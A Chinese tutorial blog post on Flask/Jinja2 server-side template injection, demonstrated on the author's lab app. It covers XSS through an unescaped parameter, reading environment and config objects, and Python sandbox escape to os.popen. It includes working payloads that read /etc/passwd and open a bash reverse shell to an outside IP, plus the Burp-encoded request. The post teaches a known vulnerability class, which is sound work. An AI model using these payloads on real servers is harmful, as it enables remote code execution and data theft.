简介
SSTI(Server-Side Template Injection)漏洞是模版引擎在使用渲染函数的时候,由于代码不规范而导致的代码注入漏洞,模版引擎和渲染函数本身是没有漏洞的,该漏洞的产生原因在于程序员对代码的不严谨不规范,导致了模版可控,从而引发代码注入。
环境
- python3.6
- Flask框架
app.py
中代码如下
1 | from flask import Flask |
访问5000
端口如下所示
渲染方法
Flask中的渲染方法有两种,分别是render_template()
和render_template_string()
使用 render_template()
函数来渲染一个指定的文件 , 这个指定的文件其实就是模板。其模板文件一般放在 templates
目录下
我们在templates
目录下创建hello.html
文件
1 |
|
访问http://10.100.163.201:5000/hello
如下所示
Flask 是使用Jinja2
作为渲染引擎的,在实际项目中 , 模板并不是纯 HTML 文件 , 而是一个夹杂模板语法的 HTML 文件 . 例如要使得页面的某些地方动态变化, 就需要使用模板支持的语法来传参数 ,比如我们可以在render_template()
传入参数。
1 |
|
这个时候将hello.html
文件如下
1 |
|
这个时候访问http://10.100.163.201:5000/hello
如下所示
可以看到,在Jinja2
中,使用{ {} }
作为变量包裹的标识符,用于打印模版输出的表达式。
另一个渲染函数是render_template_string()
,用来渲染一个字符串。
通过访问http://10.100.163.201:5000/test1
查看
但是如果在该函数中没有做好有效的防范,就会造成一些严重的危害
XSS攻击
在app.py
文件中,我们通过/ssti
路由可以发送GET
请求,但是由于在后端没有对用户输入做一个严格的校验,这样就会产生XSS攻击。
常规的get请求
1 | http://10.100.163.201:5000/ssti?code=test |
xss攻击
1 | http://10.100.163.201:5000/ssti?code=%3Cscript%3Ealert(1)%3C/script%3E |
SSTI读取环境变量
对于Flask的模版渲染而言,如果我们要让服务器执行代码,需要将执行的命令包裹在{ {} }
中,对于一个GET请求,包裹在{ {} }
中的参数会被后端计算,然后将结果拼接到模版中,完成渲染后返回给用户。
request.environ
request
是Flask框架中的一个全局对象,当我们访问request
时可以看到当前的请求
在request
对象中有一个environ
对象名,request.environ
是一个与服务器环境相关的对象字典
config.items
congfig
也是Flask框架中的一个全局对象,其中也包含一些敏感信息
SSTI任意文件读写
对于任意文件读写,我们可以通过python的os
模块实现,在Jinja2中是可以直接访问python的一些对象及其方法的,如字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数,那么怎么能够在Jinja2模板中访问到python中的内置变量并且可以调用对应变量类型的方法,这就使用到了python沙盒逃逸。
python沙箱逃逸
沙箱逃逸就是在一个严格限制的python环境中,通过绕过限制和过滤达到执行更高权限的过程,这就需要执行一些命令,在python中,可执行命令的模块有如下
1 | os |
python魔法函数
1 | __class__ 返回调用的类型 |
对于获取到os类从而达到命令执行的效果,具体的操作如下
获取字符串的类对象
1 | ''.__class__ |
寻找基类
这一步的目的是利用继承关系找到object类
1 | ''.__class__.__mro__ |
寻找可引用类
在object类下查找所有的子类,然后查找到可利用的类
1 | ''.__class__.__mro__[-1].__subclasses__() |
寻找含有os库的类
1 | count = -1 |
执行结果如下
1 | 64 <class '_frozen_importlib._ModuleLock'> |
在上述中寻找是否存在文件读取的方法,例如open
、popen
、file
等,最后我们在<class 'os._wrap_close'>
类中找到了popen
函数,从而可以达到任意文件读取的效果。
payload如下
1 | ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read() |
也可以使用Flask框架中的config
全局对象来读取任意文件,payload如下
1 | config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() |
SSTI反弹Shell
因为我们可以调用到os模块,因此可以执行反弹shell,我现在自己的服务器上启动监听
1 | elssm@VM-20-13-centos ~> nc -lvvp 9527 |
nc
命令部分参数介绍
1 | -h 帮助信息 |
反弹shell的payload如下
1 | ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('bash -i >& /dev/tcp/42.193.150.138/9527 0>&1').read() |
但是因为存在&
字符,因此在URL解析中会出错,因此我们可以使用Burp构造
1 | GET /ssti?code={{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('bash%20-i%20>%26%20/dev/tcp/42.193.150.138/9527%200>%261').read()}} |
成功连接